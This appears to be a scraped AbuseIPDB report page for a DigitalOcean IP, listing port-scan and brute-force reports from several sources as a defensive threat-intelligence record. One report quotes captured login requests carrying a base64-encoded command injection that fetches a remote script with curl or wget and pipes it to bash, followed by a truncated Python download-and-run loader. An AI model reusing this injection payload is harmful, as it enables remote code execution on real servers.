JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 138.68.67.81

138.68.67.81 was found in our database!

This IP was reported 40 times. Confidence of Abuse is 0%: ?

ISP	DigitalOcean, LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS14061
Domain Name	digitalocean.com
Country	🇩🇪 Germany
City	Frankfurt am Main, Hesse

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 138.68.67.81

Whois 138.68.67.81

IP Abuse Reports for 138.68.67.81:

This IP address has been reported a total of 40 times from 21 distinct sources. 138.68.67.81 was first reported on December 2nd 2022, and the most recent report was 1 year ago.

Old Reports: The most recent abuse report for this IP address is from 1 year ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇵🇱 sefinek.net	2025-03-17 10:02:50 (1 year ago)	Blocked by UFW on swyse [8808/tcp] Source port: 61004 TTL: 241 Packet length: 44 TOS: 0x00 This rep ... show more Blocked by UFW on swyse [8808/tcp] Source port: 61004 TTL: 241 Packet length: 44 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 MPL	2025-01-07 07:04:29 (1 year ago)	tcp/15000	Port Scan
🇺🇸 RAP	2025-01-07 01:39:30 (1 year ago)	2025-01-07 01:39:30 UTC Unauthorized activity to TCP port 8443. Web App	Port Scan Web App Attack
🇷🇸 Scan	2025-01-07 01:00:53 (1 year ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇦🇹 urnilxfgbez	2024-12-28 23:45:00 (1 year ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇸🇪 webbfabriken	2024-10-04 07:25:59 (1 year ago)	spam or other hacking activities reported by webbfabriken security servers Attack reported by Webbf ... show more spam or other hacking activities reported by webbfabriken security servers Attack reported by Webbfabriken Security API - WFSecAPI show less	Web Spam
🇺🇸 etu brutus	2024-10-04 01:47:06 (1 year ago)	138.68.67.81 Blocked by [Attack Vector List] ...	Hacking Brute-Force Exploited Host
🇧🇬 MazenHost	2023-01-09 16:23:09 (3 years ago)	Jan 9 18:24:22 betelgeuse sshd[2994345]: pam_unix(sshd:auth): authentication failure; logname= uid= ... show more Jan 9 18:24:22 betelgeuse sshd[2994345]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.67.81 user=root Jan 9 18:24:24 betelgeuse sshd[2994345]: Failed password for root from 138.68.67.81 port 51780 ssh2 ... show less	Brute-Force SSH
🇦🇹 HyperSpeed	2023-01-09 02:57:42 (3 years ago)	Jan 9 02:57:39 AU1 sshd[851838]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 ... show more Jan 9 02:57:39 AU1 sshd[851838]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.67.81 user=root Jan 9 02:57:40 AU1 sshd[851838]: Failed password for root from 138.68.67.81 port 59538 ssh2 ... show less	Brute-Force SSH
🇧🇬 MazenHost	2023-01-08 17:55:51 (3 years ago)	Jan 8 19:57:03 betelgeuse sshd[2913732]: pam_unix(sshd:auth): authentication failure; logname= uid= ... show more Jan 8 19:57:03 betelgeuse sshd[2913732]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.67.81 user=root Jan 8 19:57:05 betelgeuse sshd[2913732]: Failed password for root from 138.68.67.81 port 49284 ssh2 ... show less	Brute-Force SSH
🇦🇹 HyperSpeed	2023-01-07 21:21:41 (3 years ago)	Jan 7 21:21:38 AU1 sshd[847002]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 ... show more Jan 7 21:21:38 AU1 sshd[847002]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.67.81 user=root Jan 7 21:21:40 AU1 sshd[847002]: Failed password for root from 138.68.67.81 port 48784 ssh2 ... show less	Brute-Force SSH
🇸🇬 babahgroup	2023-01-06 20:17:00 (3 years ago)	(Login) Failed CWP-Login login for User: root from IP: 138.68.67.81 URL: https://localhost:2031/logi ... show more (Login) Failed CWP-Login login for User: root from IP: 138.68.67.81 URL: https://localhost:2031/login/index.php?login=failed 138.68.67.81 (DE/Germany/-): 3 in the last 3600 secs show less	Brute-Force
🇺🇸 Starburst SysOp Team	2023-01-06 19:20:51 (3 years ago)	2023-01-06 09:24:34 root Failed Login from: 138.68.67.81 on: https://localhost:2087/login/index.php? ... show more 2023-01-06 09:24:34 root Failed Login from: 138.68.67.81 on: https://localhost:2087/login/index.php?login=$(whoami) 2023-01-06 09:33:03 root Failed Login from: 138.68.67.81 on: https://localhost:2031/login/index.php?login=failed 2023-01-06 09:33:03 root Failed Login from: 138.68.67.81 on: https://localhost:2031/login/index.php?login=$(echo$%7BIFS%7D-n$%7BIFS%7DZWNobyAtbiBodHRwOi8vMTM4LjY4LjY3LjgxL3JuZXQzcHAgPiAvdG1wL2xydTtjdXJsIC1zIGh0dHA6Ly8xMzguNjguNjcuODEvcm5ldDNwcHx8d2dldCAtcSAtTy0gaHR0cDovLzEzOC42OC42Ny44MS9ybmV0M3Bw$%7BIFS%7D%7C$%7BIFS%7Dbase64$%7BIFS%7D-d$%7BIFS%7D%7C$%7BIFS%7Dbash) 2023-01-06 09:33:04 root Failed Login from: 138.68.67.81 on: https://localhost:2031/login/index.php?login=$(echo$%7BIFS%7D-n$%7BIFS%7DaW1wb3J0IG9zCmltcG9ydCB1cmxsaWIyIGFzIHUyCmltcG9ydCBiYXNlNjQKCnUgPSAnL3RtcC9scnUnCnRyeToKCWZvciBsIGluIG9wZW4odSk6CgkJciA9IHUyLnVybG9wZW4obCsnLnNwMicpCgkJcDIgPSBiYXNlNjQuYjY0ZGVjb2RlKHIucmVhZCgpKQoJCXIuY2xvc2UoKQoJCXAyc3RyID0gcDIuZGVjb2RlKCJ1dGYtOCIpCgkJb3Muc3lzdGVtKCJweXRob24yIC1jIFwiIit show less	Hacking Brute-Force SSH
🇵🇱 Olivia Davis	2023-01-06 07:25:33 (3 years ago)		Brute-Force
🇩🇪 Bernhard Fürst	2023-01-05 23:36:43 (3 years ago)	138.68.67.81 (DE/Germany/-), 5 distributed webmin attacks on account [root] in the last 3600 secs; P ... show more 138.68.67.81 (DE/Germany/-), 5 distributed webmin attacks on account [root] in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_DISTATTACK; Logs: Jan 6 00:36:38 vm1 webmin[901197]: Invalid login as root from 175.136.230.85 Jan 6 00:36:29 vm1 webmin[901180]: Invalid login as root from 175.136.230.85 Jan 6 00:36:31 vm1 webmin[901183]: Invalid login as root from 175.136.230.85 Jan 6 00:36:34 vm1 webmin[901189]: Invalid login as root from 175.136.230.85 Jan 6 00:02:28 vm1 webmin[892619]: Invalid login as root from 138.68.67.81 IP Addresses Blocked: 175.136.230.85 (MY/Malaysia/mail2.tortofood.com) show less	Port Scan

Showing 1 to 15 of 40 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇼 198.235.24.81

🇪🇹 196.189.59.226

🇸🇬 193.37.32.175

🇺🇸 165.22.177.236

🇻🇳 125.212.244.35

🇺🇸 44.250.140.137

🇺🇸 20.172.240.136

🇺🇿 213.230.92.20

🇨🇱 200.113.7.186

🇨🇳 110.87.174.59

🇰🇪 102.210.149.236

🇺🇸 71.6.235.35

🇳🇱 45.153.34.235

🇭🇰 43.155.21.198

🇺🇸 2607:f8b0:400c:c15::12a

🇬🇧 193.176.29.12

🇺🇸 185.191.171.1

🇺🇸 172.56.4.90

🇨🇳 119.91.213.186

🇸🇬 101.32.240.31